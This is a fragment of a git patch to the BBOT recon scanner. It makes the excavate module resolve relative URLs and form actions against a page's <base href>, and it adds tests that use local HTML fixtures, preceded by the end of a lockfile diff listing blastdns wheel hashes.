"2026-10-14T19:33:49.131Z" }, + { url = "https://files.pythonhosted.org/packages/c5/12/f6ce1b38a038e128ee3aec880e3fc81f47b6f868c4c8075f346a72d4b921/blastdns-2.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2687a4d6ef56ae6a840a0f68c93f2e3d5f3d5539a09fd4a878e58a3368f61e4c", size = 2903109, upload-time = "2026-10-14T19:34:19.345Z" }, + { url = "https://files.pythonhosted.org/packages/0e/70/d21f5de0b44b1ff9ff609093d5aa7264947aec45417c0087acb9c1fde864/blastdns-2.0.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:95ff91257d453661233ee36c22649e3e86ef33fbd215c1884f481ef0cff90352", size = 2882194, upload-time = "2026-10-14T19:34:33.861Z" }, + { url = "https://files.pythonhosted.org/packages/c5/38/e73fb34ac0722755509a3cba8c269bee72203447648862fd051620891d0d/blastdns-2.0.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:dc4c5d3700ceec5329737570f6a7bb356cf949f4fc058ffdff665f2cda790c52", size = 2838408, upload-time = "2026-10-14T19:34:11.979Z" }, + { url = "https://files.pythonhosted.org/packages/bb/91/21bbbe492b280f703e42ee875a28e07b55d512686df1b8f143cd9b0aadef/blastdns-2.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0bee27cd2b86b0ff72c871d3dc04ab11fc823da22ffc4db92ecd90102bfcc58d", size = 2700287, upload-time = "2026-10-14T19:34:04.415Z" }, + { url = "https://files.pythonhosted.org/packages/af/6c/8402cfa3fe51d76a2de5cacc37c6c3c1c9cf2fd245ee3ae069a60677f118/blastdns-2.0.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:a0a43bc214fd8624e1c0131c4dca9ff739fec48ad500ae315b7675ad5c8b5baa", size = 2725366, upload-time = "2026-10-14T19:32:36.525Z" }, + { url = "https://files.pythonhosted.org/packages/50/1a/469df4e1e604abf77afba76e046aedef802e9801e1b4a6dcc1aa5140cfd9/blastdns-2.0.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:b532a852bb7077eb202557e2349df05bbd2bdf58b3ed0f221a50da354dd86bc1", size = 2601866, upload-time = "2026-10-14T19:32:50.868Z" }, + { url = "https://files.pythonhosted.org/packages/06/11/572a65cd94998cf11a2d3495e9aa3a4e555b2f86442f5ae1db3326627c84/blastdns-2.0.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:c412813cb402b540e29f9006571e0f5e6cd707f78613bfe87493df52af247821", size = 2850832, upload-time = "2026-10-14T19:33:36.136Z" }, + { url = "https://files.pythonhosted.org/packages/ee/c1/120e4e02e502ddb8e11ed149a1caf240fbab4b2273abbfcea3a642873e5d/blastdns-2.0.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:7415435442b011c0c4ef355ee2b8a738d8c4742d6da456df298489e14db6be4e", size = 3846483, upload-time = "2026-10-14T19:33:06.009Z" }, + { url = "https://files.pythonhosted.org/packages/97/52/36d8a53b55e68061b626ec1f70c34ee82b1c923879e6f5545496efd86258/blastdns-2.0.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:b0e1529e15ad1ab690104bf07791a56514d4dc40d05f4700dee70db941e5e8df", size = 2801449, upload-time = "2026-10-14T19:33:21.485Z" }, + { url = "https://files.pythonhosted.org/packages/9d/39/e0e534787d103b9222a61e109ebe081fab03c7954ec0c716f976f83ff91c/blastdns-2.0.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:5228323877d02be0bac4bab6a629bb7e1f6b1691ff67634e61a3e9cf0ff38a9b", size = 2647687, upload-time = "2026-10-14T19:33:51.202Z" }, + { url = "https://files.pythonhosted.org/packages/f6/a9/d543b16bf519c6745f08d8099f3c5ee96e509e23cbc480c2d4213b96c6bd/blastdns-2.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:feade09262e8be3d34493deac122e7cab2cd1a64b981d5427b97a4fe4335638f", size = 2903264, upload-time = "2026-10-14T19:34:21.474Z" }, + { url = "https://files.pythonhosted.org/packages/69/23/6cef28afe657c27d1a154b7ee1a0e3b98798b993a1d656922c73e896c02e/blastdns-2.0.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:8a5a8f0a1c468526a6d7cbce9c68be74d3163a39a9ec8a882442459b94a1d4fc", size = 2877291, upload-time = "2026-10-14T19:34:35.697Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d7/1c82b8bfe49de1a52b67014cc184a38b01a7b5b8e6885ee46958188cdc5b/blastdns-2.0.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5228f822c749c840bf1e7a0503aecc89248eec2d74687d436733e2041e076948", size = 2837821, upload-time = "2026-10-14T19:34:13.906Z" }, + { url = "https://files.pythonhosted.org/packages/17/19/5a858cd40aba9d31213b20199497cec0bc20cac59f4ebdb2373e88d5422b/blastdns-2.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:edcc6352a744ac43eee2ec344c62ef446260ff6a42831b00a7e3f7098e2926c3", size = 2701174, upload-time = "2026-10-14T19:34:06.235Z" }, + { url = "https://files.pythonhosted.org/packages/d6/61/c36a7911ead8b12954542c7b196f368f373a5f3f6dc125e2bda0c850df23/blastdns-2.0.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:8073ae2689bab4b3a8527af7e984932e92f863e259ba68db282bca7977cbab53", size = 2724578, upload-time = "2026-10-14T19:32:38.423Z" }, + { url = "https://files.pythonhosted.org/packages/08/2c/94c9d5f3354b68049663d39e8e910b549fcf16dcadb5fb6b04a30322f705/blastdns-2.0.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:26c7fef34db297625531d9e6f50f341406ee05101db771d099ce17d2d105f069", size = 2601827, upload-time = "2026-10-14T19:32:52.569Z" }, + { url = "https://files.pythonhosted.org/packages/18/a8/79126785836c6f62616ff6d6146d1a3fa10b1a4cd3be79d426ab3922f372/blastdns-2.0.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:10aee634be393f03b5e2da991f18290cbd27323d294c041c4d769c07fad1d4a8", size = 2850609, upload-time = "2026-10-14T19:33:37.907Z" }, + { url = "https://files.pythonhosted.org/packages/82/c7/29e25f9b57c7a290d7afbd39ff6099035c056040f89988e5e32b4708ae17/blastdns-2.0.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:e6db4defebfe0a10485092e98c8ed353325edd6c7c1312b0581282c837f9f276", size = 3849230, upload-time = "2026-10-14T19:33:08.029Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b5/1321b54fad20e1482abfdda4a83970c12afb3540a89b725a9e91d114011e/blastdns-2.0.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:8b47b7769b91733c9b877cd555e94685ecc0733c47c897f5620b43cbf82a516f", size = 2801072, upload-time = "2026-10-14T19:33:23.462Z" }, + { url = "https://files.pythonhosted.org/packages/ff/f1/62cfd6e72d7161265a28a46c97052746144de1ed1898caa3257f6c18862c/blastdns-2.0.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:0268a44e929b856ce7d0e6c25e037c5a345c399545988fbe5da92fab1e47b4e8", size = 2647579, upload-time = "2026-10-14T19:33:52.952Z" }, + { url = "https://files.pythonhosted.org/packages/e6/a5/46481683496cd7e0f21b9cb1d8395afffb064f66bdbc5b1ef7f24cb84612/blastdns-2.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a6d0cde06f96437c00f258a3c249fc02f8f3bb4afd84acd36e1152a62e984d9f", size = 2902959, upload-time = "2026-10-14T19:34:23.201Z" }, + { url = "https://files.pythonhosted.org/packages/f1/05/b4c35ca8002712e4fe254e630143765c42d51ee4ade4cc2b7e9ed3273bca/blastdns-2.0.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:1b283f3a8e72ef671d4ce22de006c25dc5fc6654231aa900a40c2d5bcd764a81", size = 2877558, upload-time = "2026-10-14T19:34:37.936Z" }, + { url = "https://files.pythonhosted.org/packages/a8/6e/f98f06dd84554331d19442b35f84321aff76aecf177ae836e0c65cc38f8c/blastdns-2.0.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:5818a5f88638ee861e3fbfb897b03e5d6dd2d0e0831231ded5a6680788f83e61", size = 2836938, upload-time = "2026-10-14T19:34:15.64Z" }, + { url = "https://files.pythonhosted.org/packages/62/82/3756411644c02e4633c7139f1bac26f9228fe2a7cecc1c930aa452122716/blastdns-2.0.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c89f9bb8721f9ff52b685510ffe0e8deec7b8c8c86b35801c3dd99823b47a5d5", size = 2699966, upload-time = "2026-10-14T19:34:08.35Z" }, + { url = "https://files.pythonhosted.org/packages/17/17/1dfd42fe304f9c7feaad39e284200951820e842a32d7dbe6eeebbbbea791/blastdns-2.0.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:1103e35d1f72c6611c00a1d68c788c13c83b9de74998d39bfcf580b57a8134dd", size = 2725335, upload-time = "2026-10-14T19:32:40.291Z" }, + { url = "https://files.pythonhosted.org/packages/f8/93/cb8e484bc81ed55c2f6664c7a1dbaf1b468befdfc3d53ad0deb1323ce1f8/blastdns-2.0.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:3a17a15f64c159df3f505c19b7cd2efd7f25b9c3dd5c7a0148889e058e5ad55c", size = 2601818, upload-time = "2026-10-14T19:32:54.326Z" }, + { url = "https://files.pythonhosted.org/packages/ea/62/a079b58c3b4702686285ec490648878b3e823a8d3267d3fc369b7239fe7d/blastdns-2.0.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:0c581d6d87bbe448c39fcefd2821a03c3d0c2650d05ee7af4bdaee6603eafab7", size = 2850932, upload-time = "2026-10-14T19:33:40.037Z" }, + { url = "https://files.pythonhosted.org/packages/25/33/d0163f53da5ae55edf08e02d9cd6ecd81bddf715ae716cd635f40b14ea3c/blastdns-2.0.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:b974cf568f3c818a1a960fd77a4a5b7b9b4e65275b14520d7bb1cb63328f9cf3", size = 3847012, upload-time = "2026-10-14T19:33:09.77Z" }, + { url = "https://files.pythonhosted.org/packages/dd/01/49a1ef5a740ccf667ffc0e9296f840e19443e933417253b22de5e0627cd9/blastdns-2.0.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:062f98af53c7ef19166ca754f7225bb17b4ee55ecaf80f6afbdec5e1c12baab3", size = 2792411, upload-time = "2026-10-14T19:33:25.189Z" }, + { url = "https://files.pythonhosted.org/packages/14/ba/ff23f164e643ac1eaeb3c6d52d4ee433ecb7315363dde8106f5db1a8a8da/blastdns-2.0.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:221dbb04e21bf4a8968beccdad17a62473fdd53af4cf4e68a40c7e9c8efe8eb6", size = 2649147, upload-time = "2026-10-14T19:33:54.798Z" }, + { url = "https://files.pythonhosted.org/packages/6a/49/8d0c8fcf2f07e8afbe36210cf2ff8843a8a69e8dc4344b08eb5107e672b8/blastdns-2.0.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:1bfc2497c03bdba7170a4bbd17baf08b322af061c96b25ac0ea8673968ac28ec", size = 2904077, upload-time = "2026-10-14T19:34:24.97Z" }, + { url = "https://files.pythonhosted.org/packages/1b/82/31bd1ebbec9775990052c03a546a7dc564218fd67f1afa4b96ba7fd50d1f/blastdns-2.0.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:6c05416ce5e0caea2b4cf76f205878dfd49c33d2e2c034477c1a70c2759cfc42", size = 2878780, upload-time = "2026-10-14T19:34:39.724Z" }, + { url = "https://files.pythonhosted.org/packages/55/34/78c8ebca5399f116b9751a2e8cc31c71481ecebea98e42fc9e16042a1c46/blastdns-2.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:46374dbf26545642c4b7adec0e4018a799e10b242a36261b417393ee92d09200", size = 2734045, upload-time = "2026-10-14T19:32:42.039Z" }, + { url = "https://files.pythonhosted.org/packages/b3/f2/216e36248989640733aa8b682fbadc97384165b4ac6510e2b62c8a1713aa/blastdns-2.0.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:b9b7e3c536e7685f070c6aa7bbd66f1195d853bf397bf66ab926106f5245e717", size = 2601557, upload-time = "2026-10-14T19:32:56.228Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d1/385b2c09e900d89cab729fb0adce07f0fa16247ff49ddfa26efb59d2ea25/blastdns-2.0.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:1625a4f9e9425cd75234aa10e813e5db4760b39a28b42ebf4366dfe2d4a4b8f8", size = 2849252, upload-time = "2026-10-14T19:33:41.7Z" }, + { url = "https://files.pythonhosted.org/packages/b4/70/b5790ee82c008e98366a6ca5e6242596fc2e1e15b9cbfb2b1d4e67c2797b/blastdns-2.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:7a58abd0db0737c1912bd73827ee1523b862f398b086e1e3d1c6ee06b147abdd", size = 3859647, upload-time = "2026-10-14T19:33:11.741Z" }, + { url = "https://files.pythonhosted.org/packages/f0/38/fbadb3f3d92fefc6bbf9a34a9bfd4743b512d19c98ec67a4752411255937/blastdns-2.0.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:231f90d0a4056edd676b29e8313e784573d423716e1228b59a3afc532b399032", size = 2807449, upload-time = "2026-10-14T19:33:26.925Z" }, + { url = "https://files.pythonhosted.org/packages/34/ca/ee1c4ac737bd994b0efc65cd3309fa2eea96f021e76ecaeb3a7436c567a6/blastdns-2.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:356c8fdba2f8352c34d078faa3427e80b02b05b1f90e81d652ef096b6e460a19", size = 2653226, upload-time = "2026-10-14T19:33:56.534Z" }, + { url = "https://files.pythonhosted.org/packages/47/bf/4b3c5dc378bd0c5236208132d8e33c1075890c98aabf0850d3e75515f71d/blastdns-2.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:cade407ee51bc10a5a151156b0f41c84fb3059205f120ff2f0cb5609e1e72dc3", size = 2911194, upload-time = "2026-10-14T19:34:26.651Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ac/3f81cf16aa4ead654aecb253190087b3ea2b718576b27e95b47ae1437983/blastdns-2.0.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:ce1b86ddd1bf91adeba2983bce25716447dddd80d3c97bf0f8df76092b5e2314", size = 2721429, upload-time = "2026-10-14T19:32:45.511Z" }, + { url = "https://files.pythonhosted.org/packages/74/c4/786690c85d4562b86f3c2ea73e12dd0b0fb5f3468af7f3079801b018a46e/blastdns-2.0.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:c9e5ea7d1cdbe0af58a29cfca88409a3455c1387c74b80735dd9c35227abb5cf", size = 2607426, upload-time = "2026-10-14T19:32:59.733Z" }, + { url = "https://files.pythonhosted.org/packages/93/2f/0a8bbd5713333c3a64a542311f1a52454c3225aaa44435296bb58e78f30d/blastdns-2.0.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:2fd948e7323546dedc542a123d38b1d611ecb1e839947b6f5c7a408bf7987e78", size = 2854541, upload-time = "2026-10-14T19:33:45.446Z" }, + { url = "https://files.pythonhosted.org/packages/4e/76/73054f4bb94d1a1acd5b76a693a11954d247b72672a5d228648b1ffce545/blastdns-2.0.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:69c9efe33d1c495ff6320992587faa3f1378ab1a804fd10700f9e71392daf063", size = 3851080, upload-time = "2026-10-14T19:33:15.467Z" }, + { url = "https://files.pythonhosted.org/packages/f3/b1/cebcc3d46870d9d71aa1e91be4206989e1d76c7f4020ecb7287dfa912f91/blastdns-2.0.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:48ec433e49d8cdeefabbe47b4fe9fce9e3c4ee0d3a290ce24842e5dd23a2e0f4", size = 2794605, upload-time = "2026-10-14T19:33:30.618Z" }, + { url = "https://files.pythonhosted.org/packages/13/a6/8ffdeb39439fa2b9874d25e43295864d71cfcbd7ce6140527cc5dc774335/blastdns-2.0.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:669436c92b5c01cc3f8069130145709c449eeda47f50dc80a2c64f4d07507db9", size = 2648824, upload-time = "2026-10-14T19:34:00.514Z" }, + { url = "https://files.pythonhosted.org/packages/d2/cd/a61cf2afd869460ec4f95bcc040d02a652bf3b64b41bdd3564e0e61bd56e/blastdns-2.0.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:40728d970b417a25c9bfac24d7d2598ead027781309e18004f5061bdb4ca9dc3", size = 2900864, upload-time = "2026-10-14T19:34:30.346Z" }, ] [[package]] From fb27e8d10217382629137565e1cf599c0c579c0d Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Wed, 14 Oct 2026 17:00:13 -0400 Subject: [PATCH 151/256] Resolve excavated relative URLs against (#3522) * Resolve excavated relative URLs against * Resolve ./ form actions relative to the page (#3525) * Fix excavate parameter extraction on RAW_TEXT events --- bbot/core/helpers/regexes.py | 1 + bbot/modules/internal/excavate.py | 41 ++++-- .../module_tests/test_module_excavate.py | 124 ++++++++++++++++++ 3 files changed, 155 insertions(+), 11 deletions(-) diff --git a/bbot/core/helpers/regexes.py b/bbot/core/helpers/regexes.py index 15226ed9d3..62d6505f1a 100644 --- a/bbot/core/helpers/regexes.py +++ b/bbot/core/helpers/regexes.py @@ -203,6 +203,7 @@ r"]*?value=[\"\']?([\-%\._=+\/\w]*)[\"\']?[^>]*?name=[\"\']?([\-\._=+\/\w]+)[\"\']?[^>]*?>" ) tag_attribute_regex = re.compile(r"<[^>]*(?:href|action|src)\s*=\s*[\"\']?(?!mailto:)([^\'\"\>]+)[\"\']?[^>]*>") +base_href_regex = re.compile(r"]*?\shref\s*=\s*[\"\']?([^\'\"\>\s]+)", re.I) _invalid_netloc_chars = r"\s!@#$%^&()=/?\\'\";~`<>" # first char must not be a colon, even though it's a valid char for a netloc diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index fce36cf153..01b4d8495f 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -640,6 +640,15 @@ def _event_base_url(self, event): path = event.data.get("path", event.parsed_url.path) return urlparse(f"{scheme}://{host}{path}") + async def _document_base_url(self, event, document_url): + """The URL relative references in the body resolve against: the page's if it has one, else document_url.""" + m = await self.helpers.re.search(bbot_regexes.base_href_regex, getattr(event, "body", "") or "") + if m: + base_url = urljoin(document_url, html.unescape(m.group(1))) + if urlparse(base_url).scheme in ("http", "https"): + return base_url + return document_url + def url_unparse(self, param_type, parsed_url): # Reconstructs a URL, optionally omitting the query string based on remove_querystring configuration value. if param_type == "GETPARAM": @@ -828,9 +837,6 @@ async def extract(self): if not form_action or form_action == "#": form_action = None - elif form_action.startswith("./"): - form_action = form_action.lstrip(".") - form_parameters = {} for form_content_regex_name, form_content_regex in self.form_content_regexes.items(): input_tags = await self.excavate.helpers.re.findall(form_content_regex, form_content) @@ -942,6 +948,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte # Use event.body (property) so we hit the body-spill store; event.data["body"] is # popped at spill time and would be empty here. response_body = getattr(event, "body", "") or "" + # resolved on the first relative endpoint; RAW_TEXT events have no URL to resolve against + document_url = base_url = None for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") @@ -977,14 +985,23 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte if endpoint and endpoint.startswith(("http://", "https://")): url = endpoint - # The endpoint is usually a form action - we should use it if we have it. If not, default to URL. + elif not hasattr(event, "parsed_url"): + self.excavate.debug( + f"Skipping parameter [{parameter_name}] with relative endpoint: {event.type} has no URL" + ) + continue + + # The endpoint is usually a form action - we should use it if we have it. + # A form with no action submits to the document URL, not . else: - # Use the effective base URL (which may differ from parsed_url for archived content) - event_base = self.excavate._event_base_url(event) - base_url = f"{event_base.scheme}://{event_base.netloc}{event_base.path}" - if not self.excavate.remove_querystring and len(event.parsed_url.query) > 0: - base_url += f"?{event.parsed_url.query}" - url = urljoin(base_url, endpoint) + if document_url is None: + # Use the effective base URL (which may differ from parsed_url for archived content) + event_base = self.excavate._event_base_url(event) + document_url = f"{event_base.scheme}://{event_base.netloc}{event_base.path}" + if not self.excavate.remove_querystring and len(event.parsed_url.query) > 0: + document_url += f"?{event.parsed_url.query}" + base_url = await self.excavate._document_base_url(event, document_url) + url = urljoin(base_url, endpoint) if endpoint else document_url try: # Validate the URL before using it @@ -1254,6 +1271,7 @@ class URLExtractor(ExcavateRule): tag_attribute_regex = bbot_regexes.tag_attribute_regex async def process(self, yara_results, event, yara_rule_settings, discovery_context): + source_url = None for identifier, results in yara_results.items(): urls_found = 0 final_url = "" @@ -1276,7 +1294,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte ) continue unescaped_url = html.unescape(m.group(1)) - source_url = event.parsed_url.geturl() + if source_url is None: + source_url = await self.excavate._document_base_url(event, event.parsed_url.geturl()) final_url = urldefrag(urljoin(source_url, unescaped_url)).url if not await self.helpers.re.search(self.full_url_regex_strict, final_url): self.excavate.debug( diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index e86845d265..75be5576f7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -932,6 +932,130 @@ def check(self, module_test, events): assert parameter_extraction_found, "Excavate failed to extract parameter after traversal" +class TestExcavateBaseHref(ModuleTestBase): + """Relative references resolve against , not the page URL; a form with no action still uses the page URL.""" + + targets = [f"{HTTPSERVER_URL}/app/sub/"] + modules_overrides = ["http", "excavate", "hunt"] + + base_href_html = """ + + + + + + + page + +
    + + +""" + + async def setup_after_prep(self, module_test): + module_test.httpserver.expect_request("/app/sub/").respond_with_data( + self.base_href_html, headers={"Content-Type": "text/html"} + ) + + def check(self, module_test, events): + urls = {e.url for e in events if e.type == "URL_UNVERIFIED"} + assert f"{HTTPSERVER_URL}/app/page.html" in urls + assert not any("/app/sub/app/" in u for u in urls), f"Resolved against page URL instead of : {urls}" + + params = {e.data["name"]: e.data["url"] for e in events if e.type == "WEB_PARAMETER"} + assert params.get("ver") == f"{HTTPSERVER_URL}/app/theme/getui", params + assert params.get("q") == f"{HTTPSERVER_URL}/app/search", params + assert params.get("token") == f"{HTTPSERVER_URL}/app/sub/", params + + +class TestExcavateFormActionRelative(ModuleTestBase): + """Form actions on a nested page resolve against the page's directory, the same way a browser submits them.""" + + targets = [f"{HTTPSERVER_URL}/app/sub/page"] + modules_overrides = ["http", "excavate", "hunt"] + + base_tag = "" + expected = { + "dot_post": "/app/sub/dotpost", + "dot_get": "/app/sub/dotget", + "up_post": "/app/uppost", + "bare_post": "/app/sub/barepost", + "root_post": "/rootpost", + } + + async def setup_after_prep(self, module_test): + html = f""" + +{self.base_tag} + +
    +
    +
    +
    +
    + + +""" + module_test.httpserver.expect_request("/app/sub/page").respond_with_data( + html, headers={"Content-Type": "text/html"} + ) + + def check(self, module_test, events): + params = {e.data["name"]: e.data["url"] for e in events if e.type == "WEB_PARAMETER"} + for name, path in self.expected.items(): + assert params.get(name) == f"{HTTPSERVER_URL}{path}", f"{name}: {params}" + + +class TestExcavateFormActionRelativeBaseHref(TestExcavateFormActionRelative): + """With , form actions resolve against the base instead of the page.""" + + base_tag = '' + expected = { + "dot_post": "/other/dir/dotpost", + "dot_get": "/other/dir/dotget", + "up_post": "/other/uppost", + "bare_post": "/other/dir/barepost", + "root_post": "/rootpost", + } + + +class TestExcavateFormActionRelativeNonHttpBaseHref(TestExcavateFormActionRelative): + """A non-http is ignored, so form actions resolve against the page.""" + + base_tag = '' + + +class TestExcavateParameterExtractionRawText(ModuleTestBase): + """RAW_TEXT has no URL: absolute endpoints are still extracted, relative ones are skipped, and the rest of the event is still processed.""" + + class DummyModule(BaseModule): + watched_events = ["URL"] + _name = "dummy_module" + + async def handle_event(self, event): + raw_text = ( + f'a\n' + 'r\n' + f"{HTTPSERVER_URL}/fromtext" + ) + await self.emit_event(raw_text, "RAW_TEXT", parent=event) + + targets = [f"{HTTPSERVER_URL}/"] + modules_overrides = ["http", "excavate", "hunt"] + + async def setup_after_prep(self, module_test): + module_test.scan.modules["dummy_module"] = self.DummyModule(module_test.scan) + module_test.httpserver.expect_request("/").respond_with_data("hi") + + def check(self, module_test, events): + raw_text_children = [e for e in events if getattr(e.parent, "type", "") == "RAW_TEXT"] + params = {e.data["name"]: e.data["url"] for e in raw_text_children if e.type == "WEB_PARAMETER"} + assert params.get("abs_param") == f"{HTTPSERVER_URL}/absolute", params + assert "rel_param" not in params, params + urls = {e.url for e in raw_text_children if e.type == "URL_UNVERIFIED"} + assert f"{HTTPSERVER_URL}/fromtext" in urls, urls + + class TestExcavateParameterExtraction_getparam_novalue(TestExcavateParameterExtraction_getparam): getparam_extract_html = """